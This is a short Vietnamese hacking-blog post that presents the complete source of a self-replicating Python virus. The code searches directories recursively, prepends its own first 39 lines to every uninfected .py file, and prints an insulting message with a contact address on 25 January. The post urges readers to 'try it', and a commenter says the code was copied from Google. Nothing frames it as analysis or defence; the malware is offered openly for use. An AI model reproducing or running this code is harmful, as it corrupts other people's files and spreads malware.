1 Virus Python Cơ Bản


No Hacking No Life

    Hình ảnh có liên quan


Source code :

#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "Fuck You . Contact me : nohackingnolife.ga . Hahahaha!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()

Thử đi sẽ biết !!!

1 nhận xét:

Grimm Killer - Nguyễn Mạnh Sơn nói...

Đây là mình lấy từ bác Google lên không phải của mình . Mình k sử dụng Python để viết virus nên nếu như thấy Virus Python trên No Hacking No Life tức là mình lấy từ google nhá !

Đăng nhận xét